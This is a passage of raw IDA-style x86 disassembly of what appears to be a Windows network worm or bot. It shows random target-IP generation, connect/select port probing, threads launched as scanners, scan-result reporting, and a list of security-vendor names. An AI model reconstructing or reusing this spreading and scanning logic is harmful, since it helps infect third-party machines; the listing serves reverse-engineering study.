[ebp+var_4], eax jnz short loc_40B507 inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_40B507: ; CODE XREF: sub_40B4E6+19j push ebx push esi loc_40B509: ; CODE XREF: sub_40B4E6+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_40B517 cmp [ebp+var_4], eax jnz short loc_40B563 loc_40B517: ; CODE XREF: sub_40B4E6+2Aj test edi, edi jnz short loc_40B558 cmp bl, 2Dh jnz short loc_40B54C mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_40B54C cmp al, 5Dh jz short loc_40B54C cmp [ebp+var_4], edi jnz short loc_40B54C mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_40B558 cmp bl, al jg short loc_40B558 push 1 mov [edx], esi pop edi jmp short loc_40B558 ; --------------------------------------------------------------------------- loc_40B54C: ; CODE XREF: sub_40B4E6+38j ; sub_40B4E6+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_40B558 push 1 pop edi loc_40B558: ; CODE XREF: sub_40B4E6+33j ; sub_40B4E6+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_40B509 ; --------------------------------------------------------------------------- loc_40B563: ; CODE XREF: sub_40B4E6+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_40B570 mov ecx, eax sub ecx, edi mov edi, ecx loc_40B570: ; CODE XREF: sub_40B4E6+82j cmp edi, eax jnz short loc_40B579 mov eax, [ebp+arg_4] inc dword ptr [eax] loc_40B579: ; CODE XREF: sub_40B4E6+8Cj mov eax, edi pop edi leave retn sub_40B4E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B57E proc near ; CODE XREF: sub_40B450+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_40B59A: ; CODE XREF: sub_40B57E+3Aj cmp [eax], bl jz short loc_40B5BA mov cl, [ecx] cmp cl, 3Fh jz short loc_40B5AF cmp cl, 2Ah jnz short loc_40B5BA cmp cl, 3Fh jnz short loc_40B5B2 loc_40B5AF: ; CODE XREF: sub_40B57E+25j inc eax mov [edi], eax loc_40B5B2: ; CODE XREF: sub_40B57E+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_40B59A ; --------------------------------------------------------------------------- loc_40B5BA: ; CODE XREF: sub_40B57E+1Ej ; sub_40B57E+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_40B5C5 inc dword ptr [esi] jmp short loc_40B5BA ; --------------------------------------------------------------------------- loc_40B5C5: ; CODE XREF: sub_40B57E+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_40B5E6 mov edx, [esi] cmp [edx], bl jz short loc_40B5D7 xor eax, eax jmp short loc_40B646 ; --------------------------------------------------------------------------- loc_40B5D7: ; CODE XREF: sub_40B57E+53j cmp cl, bl jnz short loc_40B5E6 mov ecx, [esi] cmp [ecx], bl jnz short loc_40B5E6 push 1 pop eax jmp short loc_40B646 ; --------------------------------------------------------------------------- loc_40B5E6: ; CODE XREF: sub_40B57E+4Dj ; sub_40B57E+5Bj ... push eax push dword ptr [esi] call sub_40B450 pop ecx test eax, eax pop ecx jnz short loc_40B630 loc_40B5F4: ; CODE XREF: sub_40B57E+B0j inc dword ptr [edi] mov eax, [edi] loc_40B5F8: ; CODE XREF: sub_40B57E+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_40B610 cmp cl, 5Bh jz short loc_40B610 cmp dl, bl jz short loc_40B610 inc eax mov [edi], eax jmp short loc_40B5F8 ; --------------------------------------------------------------------------- loc_40B610: ; CODE XREF: sub_40B57E+82j ; sub_40B57E+87j ... mov eax, [edi] cmp [eax], bl jz short loc_40B627 push eax push dword ptr [esi] call sub_40B450 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B62C ; --------------------------------------------------------------------------- loc_40B627: ; CODE XREF: sub_40B57E+96j mov [ebp+var_4], ebx xor eax, eax loc_40B62C: ; CODE XREF: sub_40B57E+A7j cmp eax, ebx jnz short loc_40B5F4 loc_40B630: ; CODE XREF: sub_40B57E+74j mov eax, [edi] cmp [eax], bl jnz short loc_40B643 mov eax, [esi] cmp [eax], bl jnz short loc_40B643 mov [ebp+var_4], 1 loc_40B643: ; CODE XREF: sub_40B57E+B6j ; sub_40B57E+BCj mov eax, [ebp+var_4] loc_40B646: ; CODE XREF: sub_40B57E+57j ; sub_40B57E+66j pop edi pop esi pop ebx leave retn sub_40B57E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40B64B(int,char *Str,int) sub_40B64B proc near ; CODE XREF: sub_401ACD+2AF6p Source = byte ptr -400h Dest = byte ptr -200h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+Dest] push offset asc_431E9C ; "-" push eax ; Dest xor ebx, ebx call _sprintf cmp dword_431B00, ebx pop ecx pop ecx mov edi, 200h jz short loc_40B6BD push esi mov esi, offset dword_431B08 loc_40B67E: ; CODE XREF: sub_40B64B+6Fj mov eax, [esi] test eax, eax jbe short loc_40B6B3 add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+Source] push offset asc_431E90 ; " " push eax ; Dest call _sprintf lea eax, [ebp+Source] push edi ; Count push eax ; Source lea eax, [ebp+Dest] push eax ; Dest call _strncat add esp, 1Ch loc_40B6B3: ; CODE XREF: sub_40B64B+37j add esi, 40h cmp dword ptr [esi-8], 0 jnz short loc_40B67E pop esi loc_40B6BD: ; CODE XREF: sub_40B64B+2Bj push dword_4CB394 call sub_41A88C pop ecx push eax push ebx lea eax, [ebp+Source] push offset aTotalDInS_ ; " Total: %d in %s." push eax ; Dest call _sprintf lea eax, [ebp+Source] push edi ; Count push eax ; Source lea eax, [ebp+Dest] push eax ; Dest call _strncat push 0 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409A73 lea eax, [ebp+Dest] push eax call sub_4151AD add esp, 34h pop edi pop ebx leave retn sub_40B64B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40B71A(int,char *Str,int) sub_40B71A proc near ; CODE XREF: sub_401ACD+2AE0p Dest = byte ptr -200h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h mov eax, dword_4CE160 mov ecx, dword_4CE15C push esi push dword_4CB394 lea esi, [ecx+eax] call sub_41A88C pop ecx push eax push esi push dword_4CE160 lea eax, [ebp+Dest] push dword_4CE15C push offset asc_431EBC ; "-" push eax ; Dest call _sprintf push 0 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409A73 lea eax, [ebp+Dest] push eax call sub_4151AD add esp, 30h pop esi leave retn sub_40B71A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40B786(int,char *Str,int) sub_40B786 proc near ; CODE XREF: sub_401ACD+2ACAp Dest = byte ptr -200h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push dword_4CB394 call sub_41A88C pop ecx push eax lea eax, [ebp+Dest] push dword_4CE3A4 push offset asc_431F04 ; "-" push eax ; Dest call _sprintf push 0 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409A73 lea eax, [ebp+Dest] push eax call sub_4151AD add esp, 28h leave retn sub_40B786 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40B7DB(int,char *Str,int) sub_40B7DB proc near ; CODE XREF: sub_401ACD+2AB4p Source = byte ptr -1000h Dest = byte ptr -800h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 1000h call __alloca_probe push edi lea eax, [ebp+Dest] push offset asc_431F50 ; "-" push eax ; Dest call _sprintf cmp dword_431B00, 0 pop ecx pop ecx mov edi, 800h jz short loc_40B847 push esi mov esi, offset aSymantec ; "Symantec" loc_40B810: ; CODE XREF: sub_40B7DB+69j lea eax, [esi-0Ah] push eax push esi lea eax, [ebp+Source] push offset asc_431F40 ; " " push eax ; Dest call _sprintf lea eax, [ebp+Source] push edi ; Count push eax ; Source lea eax, [ebp+Dest] push eax ; Dest call _strncat add esi, 40h add esp, 1Ch cmp dword ptr [esi+1Eh], 0 jnz short loc_40B810 pop esi loc_40B847: ; CODE XREF: sub_40B7DB+2Dj push dword_4CB394 call sub_41A88C pop ecx push eax lea eax, [ebp+Source] push offset aScanTimeS_ ; " Scan Time: %s." push eax ; Dest call _sprintf lea eax, [ebp+Source] push edi ; Count push eax ; Source lea eax, [ebp+Dest] push eax ; Dest call _strncat push 0 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409A73 lea eax, [ebp+Dest] push eax call sub_4151AD add esp, 30h pop edi leave retn sub_40B7DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B8A2 proc near ; DATA XREF: sub_401ACD+30E1o Dest = byte ptr -3F0h var_1F0 = dword ptr -1F0h var_1EC = byte ptr -1ECh var_1DC = byte ptr -1DCh var_15C = byte ptr -15Ch var_150 = dword ptr -150h var_14C = dword ptr -14Ch var_148 = dword ptr -148h var_140 = dword ptr -140h var_13C = dword ptr -13Ch Format = byte ptr -134h Str = byte ptr -124h var_A4 = byte ptr -0A4h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3F0h mov eax, [ebp+arg_0] push ebx push esi push edi push 4Bh mov esi, eax pop ecx lea edi, [ebp+Format] rep movsd mov dword ptr [eax+128h], 1 lea eax, [ebp+Format] push eax call dword_4CB694 ; inet_addr xor edi, edi mov [ebp+var_8], eax cmp dword_431B00, edi mov [ebp+var_4], edi mov [ebp+arg_0], edi jz loc_40BA04 mov ebx, offset dword_431B00 mov eax, ebx loc_40B8F3: ; CODE XREF: sub_40B8A2+15Cj push [ebp+var_1C] push dword ptr [eax] push [ebp+var_8] call sub_40C088 add esp, 0Ch cmp eax, 1 jnz loc_40B9F4 push dword ptr [ebx] lea esi, [ebx-28h] lea eax, [ebp+Format] push eax lea eax, [esi+0Ah] push eax lea eax, [ebp+Dest] push offset asc_431FA0 ; "-" push eax ; Dest call _sprintf push edi ; int lea eax, [ebp+Dest] push [ebp+var_14] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_24] ; int call sub_409A73 lea eax, [ebp+Dest] push eax call sub_4151AD add esp, 2Ch lea eax, [ebp+Format] push eax ; Format lea eax, [ebp+var_1EC] push eax ; Dest call _sprintf pop ecx lea eax, [ebp+var_15C] pop ecx push esi ; Format push eax ; Dest call _sprintf cmp [ebp+var_A4], 0 pop ecx pop ecx lea eax, [ebp+var_A4] jnz short loc_40B98F lea eax, [ebp+Str] loc_40B98F: ; CODE XREF: sub_40B8A2+E5j push eax ; Format lea eax, [ebp+var_1DC] push eax ; Dest call _sprintf mov eax, [ebp+var_24] pop ecx mov [ebp+var_1F0], eax mov eax, [ebp+var_14] mov [ebp+var_140], eax mov eax, [ebp+var_10] pop ecx mov [ebp+var_13C], eax mov eax, [ebx] sub esp, 0BCh mov [ebp+var_150], eax mov eax, [ebp+var_18] push 2Fh mov [ebp+var_14C], eax mov eax, [ebp+arg_0] pop ecx lea esi, [ebp+var_1F0] mov edi, esp mov [ebp+var_148], eax rep movsd call dword ptr [ebx+4] add esp, 0BCh inc [ebp+var_4] xor edi, edi loc_40B9F4: ; CODE XREF: sub_40B8A2+64j inc [ebp+arg_0] add ebx, 40h mov eax, ebx cmp [ebx], edi jnz loc_40B8F3 loc_40BA04: ; CODE XREF: sub_40B8A2+44j push [ebp+var_4] lea eax, [ebp+Format] push eax lea eax, [ebp+Dest] push offset asc_431F6C ; "-" push eax ; Dest call _sprintf push edi ; int lea eax, [ebp+Dest] push [ebp+var_14] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_24] ; int call sub_409A73 lea eax, [ebp+Dest] push eax call sub_4151AD push [ebp+var_18] call sub_40B413 add esp, 2Ch push edi call ds:dword_4270CC ; ExitThread sub_40B8A2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40BA57(int,char *Str,int,int) sub_40BA57 proc near ; CODE XREF: sub_401ACD+244Fp Dest = byte ptr -200h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 0Bh call sub_40B33F test eax, eax pop ecx jle short loc_40BA93 mov eax, [ebp+arg_C] push dword_4CB7A0[eax*8] call dword_4CB6E0 ; inet_ntoa push eax lea eax, [ebp+Dest] push offset asc_431FF0 ; "-" push eax ; Dest call _sprintf add esp, 0Ch jmp short loc_40BAA6 ; --------------------------------------------------------------------------- loc_40BA93: ; CODE XREF: sub_40BA57+13j lea eax, [ebp+Dest] push offset asc_431FD0 ; "-" push eax ; Dest call _sprintf pop ecx pop ecx loc_40BAA6: ; CODE XREF: sub_40BA57+3Aj push 0 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409A73 lea eax, [ebp+Dest] push eax call sub_4151AD add esp, 18h leave retn sub_40BA57 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40BACE(int,int,int,int,char Format,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int) sub_40BACE proc near ; CODE XREF: sub_40C33D+4Fp var_210 = dword ptr -210h Source = byte ptr -204h var_4 = byte ptr -4 Format = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_40BFA0 shl eax, 6 xor ebx, ebx cmp dword_431B0C[eax], ebx jz loc_40BFA0 push 5 call sub_40B33F test eax, eax pop ecx jnz loc_40BD55 mov eax, dword_429078 push edi mov esi, offset dword_4CD85C push 104h push esi push ebx mov dword_4CDA6C, eax mov dword_4CDA68, ebx call ds:dword_427070 ; GetModuleFileNameA mov edi, offset Str ; "nvigqyvja.exe" push 103h ; Count push edi ; Source push offset byte_4CD960 ; Dest call _strncpy mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CD858, eax mov eax, [ebp+arg_138] push 7Fh ; Count mov dword_4CDAF0, eax jnz short loc_40BB81 lea eax, [ebp+Format] push eax ; Source push offset byte_4CDA70 ; Dest call _strncpy add esp, 0Ch mov dword_4CDAF4, 1 jmp short loc_40BB9B ; --------------------------------------------------------------------------- loc_40BB81: ; CODE XREF: sub_40BACE+94j lea eax, [ebp+arg_90] push eax ; Source push offset byte_4CDA70 ; Dest call _strncpy add esp, 0Ch mov dword_4CDAF4, ebx loc_40BB9B: ; CODE XREF: sub_40BACE+B1j push esi lea eax, [ebp+Source] push dword_4CDA6C push offset asc_42C558 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Source] push 5 ; int push eax ; Source call sub_40B0F7 add esp, 1Ch mov dword_4CDA64, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD858 push offset sub_411797 push ebx push ebx call ds:dword_42707C ; CreateThread mov ecx, dword_4CDA64 imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_40BC09 loc_40BBF7: ; CODE XREF: sub_40BACE+139j cmp dword_4CDAF8, ebx jnz short loc_40BC24 push 32h call ds:dword_427078 ; Sleep jmp short loc_40BBF7 ; --------------------------------------------------------------------------- loc_40BC09: ; CODE XREF: sub_40BACE+127j call ds:dword_42708C ; RtlGetLastWin32Error push eax lea eax, [ebp+Source] push offset asc_432110 ; "-" push eax ; Dest call _sprintf add esp, 0Ch loc_40BC24: ; CODE XREF: sub_40BACE+12Fj lea eax, [ebp+Source] push eax call sub_4151AD mov eax, dword_4CB390 mov esi, offset dword_4CDB04 mov [esp+210h+var_210], 104h push esi push ebx mov dword_4CDD14, eax mov dword_4CDD10, ebx call ds:dword_427070 ; GetModuleFileNameA push 103h ; Count push edi ; Source push offset byte_4CDC08 ; Dest call _strncpy mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CDB00, eax mov eax, [ebp+arg_138] pop edi mov dword_4CDD98, eax push 7Fh ; Count jnz short loc_40BCA5 lea eax, [ebp+Format] push eax ; Source push offset byte_4CDD18 ; Dest call _strncpy add esp, 0Ch mov dword_4CDD9C, 1 jmp short loc_40BCBF ; --------------------------------------------------------------------------- loc_40BCA5: ; CODE XREF: sub_40BACE+1B8j lea eax, [ebp+arg_90] push eax ; Source push offset byte_4CDD18 ; Dest call _strncpy add esp, 0Ch mov dword_4CDD9C, ebx loc_40BCBF: ; CODE XREF: sub_40BACE+1D5j push esi lea eax, [ebp+Source] push dword_4CDD14 push offset asc_4320DC ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Source] push 4 ; int push eax ; Source call sub_40B0F7 add esp, 1Ch mov dword_4CDD0C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CDB00 push offset sub_40E992 push ebx push ebx call ds:dword_42707C ; CreateThread mov ecx, dword_4CDD0C imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_40BD2D loc_40BD1B: ; CODE XREF: sub_40BACE+25Dj cmp dword_4CDDA0, ebx jnz short loc_40BD48 push 32h call ds:dword_427078 ; Sleep jmp short loc_40BD1B ; --------------------------------------------------------------------------- loc_40BD2D: ; CODE XREF: sub_40BACE+24Bj call ds:dword_42708C ; RtlGetLastWin32Error push eax lea eax, [ebp+Source] push offset asc_4320A8 ; "-" push eax ; Dest call _sprintf add esp, 0Ch loc_40BD48: ; CODE XREF: sub_40BACE+253j lea eax, [ebp+Source] push eax call sub_4151AD pop ecx loc_40BD55: ; CODE XREF: sub_40BACE+35j mov eax, [ebp+arg_130] mov ecx, eax shl ecx, 6 cmp dword_431B14[ecx], ebx jz loc_40BE7E push 7 call sub_40B33F test eax, eax pop ecx jnz loc_40BE78 mov eax, dword_4CE39C cmp [ebp+arg_90], bl mov dword_4CD7C4, eax mov eax, [ebp+arg_110] mov dword_4CD7B8, eax mov eax, [ebp+arg_138] mov dword_4CD7C0, ebx mov dword_4CD848, eax push 7Fh ; Count jnz short loc_40BDC9 lea eax, [ebp+Format] push eax ; Source push offset byte_4CD7C8 ; Dest call _strncpy add esp, 0Ch mov dword_4CD84C, 1 jmp short loc_40BDE3 ; --------------------------------------------------------------------------- loc_40BDC9: ; CODE XREF: sub_40BACE+2DCj lea eax, [ebp+arg_90] push eax ; Source push offset byte_4CD7C8 ; Dest call _strncpy add esp, 0Ch mov dword_4CD84C, ebx loc_40BDE3: ; CODE XREF: sub_40BACE+2F9j push dword_4CD7C4 lea eax, [ebp+Source] push offset asc_432078 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Source] push 7 ; int push eax ; Source call sub_40B0F7 add esp, 18h mov dword_4CD7BC, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD7B8 push offset sub_40E6F0 push ebx push ebx call ds:dword_42707C ; CreateThread mov ecx, dword_4CD7BC imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_40BE50 loc_40BE3E: ; CODE XREF: sub_40BACE+380j cmp dword_4CD850, ebx jnz short loc_40BE6B push 32h call ds:dword_427078 ; Sleep jmp short loc_40BE3E ; --------------------------------------------------------------------------- loc_40BE50: ; CODE XREF: sub_40BACE+36Ej call ds:dword_42708C ; RtlGetLastWin32Error push eax lea eax, [ebp+Source] push offset asc_432040 ; "-" push eax ; Dest call _sprintf add esp, 0Ch loc_40BE6B: ; CODE XREF: sub_40BACE+376j lea eax, [ebp+Source] push eax call sub_4151AD pop ecx loc_40BE78: ; CODE XREF: sub_40BACE+2A8j mov eax, [ebp+arg_130] loc_40BE7E: ; CODE XREF: sub_40BACE+298j shl eax, 6 cmp dword_431B10[eax], ebx jz loc_40BFA0 push 3 call sub_40B33F test eax, eax pop ecx jnz loc_40BFA0 mov esi, offset byte_4CE034 push 104h push esi push ebx call ds:dword_427070 ; GetModuleFileNameA push 5Ch ; Ch push esi ; Str call _strrchr pop ecx cmp eax, ebx pop ecx jz short loc_40BEBF mov [eax], bl loc_40BEBF: ; CODE XREF: sub_40BACE+3EDj mov eax, dword_42907C mov dword_4CE14C, ebx mov dword_4CE138, eax lea eax, [ebp+Format] push eax ; Format push offset byte_4CDDAC ; Dest call _sprintf mov eax, [ebp+arg_110] pop ecx pop ecx mov dword_4CDDA8, eax mov ecx, [ebp+arg_138] push esi push dword_4CE138 mov dword_4CE144, ecx mov ecx, [ebp+arg_13C] push eax mov dword_4CE148, ecx call sub_40AC10 pop ecx push eax lea eax, [ebp+Source] push offset asc_42C4E0 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Source] push 3 ; int push eax ; Source call sub_40B0F7 add esp, 20h mov dword_4CE140, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CDDA8 push offset sub_40F0D6 push ebx push ebx call ds:dword_42707C ; CreateThread mov ecx, dword_4CE140 imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_40BF78 loc_40BF66: ; CODE XREF: sub_40BACE+4A8j cmp dword_4CE154, ebx jnz short loc_40BF93 push 32h call ds:dword_427078 ; Sleep jmp short loc_40BF66 ; --------------------------------------------------------------------------- loc_40BF78: ; CODE XREF: sub_40BACE+496j call ds:dword_42708C ; RtlGetLastWin32Error push eax lea eax, [ebp+Source] push offset asc_43200C ; "-" push eax ; Dest call _sprintf add esp, 0Ch loc_40BF93: ; CODE XREF: sub_40BACE+49Ej lea eax, [ebp+Source] push eax call sub_4151AD pop ecx loc_40BFA0: ; CODE XREF: sub_40BACE+14j ; sub_40BACE+25j ... pop esi pop ebx leave retn sub_40BACE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40BFA4(int Dst) sub_40BFA4 proc near ; CODE XREF: sub_40C125:loc_40C196p Dst = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+Dst] push esi push 4 ; Size lea esi, ds:4CB7A0h[eax*8] lea eax, [ebp+Dst] push esi ; Src push eax ; Dst call _memcpy add esp, 0Ch push [ebp+Dst] call dword_4CB57C ; htonl inc eax push eax mov [ebp+Dst], eax call dword_4CB650 ; htonl mov [ebp+Dst], eax lea eax, [ebp+Dst] push 4 ; Size push eax ; Src push esi ; Dst call _memcpy mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_40BFA4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40BFEC(char *Src,int) sub_40BFEC proc near ; CODE XREF: sub_40C125+69p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 Src = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+Src] ; Str mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call _strlen cmp eax, 0Fh pop ecx jbe short loc_40C014 xor eax, eax jmp short loc_40C085 ; --------------------------------------------------------------------------- loc_40C014: ; CODE XREF: sub_40BFEC+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+Src] ; Src call _sscanf add esp, 18h cmp [ebp+var_C], esi jnz short loc_40C041 call _rand mov [ebp+var_C], eax loc_40C041: ; CODE XREF: sub_40BFEC+4Bj cmp [ebp+var_8], esi jnz short loc_40C04E call _rand mov [ebp+var_8], eax loc_40C04E: ; CODE XREF: sub_40BFEC+58j cmp [ebp+var_4], esi jnz short loc_40C05B call _rand mov [ebp+var_4], eax loc_40C05B: ; CODE XREF: sub_40BFEC+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_40C067 call _rand loc_40C067: ; CODE XREF: sub_40BFEC+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_4CB7A0[ecx*8], eax loc_40C085: ; CODE XREF: sub_40BFEC+26j pop esi leave retn sub_40BFEC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C088 proc near ; CODE XREF: sub_40B8A2+59p ; sub_40C125+BBp var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call dword_4CB6D4 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40C0B1 xor eax, eax jmp short loc_40C120 ; --------------------------------------------------------------------------- loc_40C0B1: ; CODE XREF: sub_40C088+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_4CB654 ; htons mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_4CB6F0 ; ioctlsocket lea eax, [ebp+var_1C] push 10h push eax push esi call dword_4CB5FC ; connect mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_4CB63C ; select push esi mov edi, eax call dword_4CB6EC ; closesocket xor eax, eax cmp edi, ebx setnle al loc_40C120: ; CODE XREF: sub_40C088+27j pop edi pop esi pop ebx leave retn sub_40C088 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C125 proc near ; DATA XREF: sub_40C33D+13Bo var_2A8 = dword ptr -2A8h Dest = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h Src = byte ptr -150h var_140 = byte ptr -140h Str = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+Src] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax call ds:dword_4270A8 ; GetTickCount push eax call sub_41B8D8 mov ebx, esi pop ecx imul ebx, 234h loc_40C16C: ; CODE XREF: sub_40C125+204j mov eax, dword_43E594[ebx] cmp dword_4CB7A4[eax*8], 0 jz loc_40C32E cmp [ebp+var_10], 0 push eax ; Dst jz short loc_40C196 lea eax, [ebp+Src] push eax ; Src call sub_40BFEC pop ecx jmp short loc_40C19B ; --------------------------------------------------------------------------- loc_40C196: ; CODE XREF: sub_40C125+60j call sub_40BFA4 loc_40C19B: ; CODE XREF: sub_40C125+6Fj pop ecx mov edi, eax push [ebp+arg_0] push dword_43E594[ebx] push [ebp+var_3C] push edi call dword_4CB6E0 ; inet_ntoa push eax lea eax, [ebp+Dest] push offset asc_43216C ; "-" push eax ; Dest call _sprintf add esp, 18h lea eax, [ebp+Dest] push eax ; Format lea eax, dword_43E390[ebx] push eax ; Dest call _sprintf push [ebp+var_38] push [ebp+var_3C] push edi call sub_40C088 add esp, 14h cmp eax, 1 jnz loc_40C31E cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_40C272 push offset dword_4CD7A0 call ds:dword_4270D4 ; RtlEnterCriticalSection push [ebp+var_3C] push edi call dword_4CB6E0 ; inet_ntoa push eax lea eax, [ebp+Dest] push offset asc_432144 ; "-" 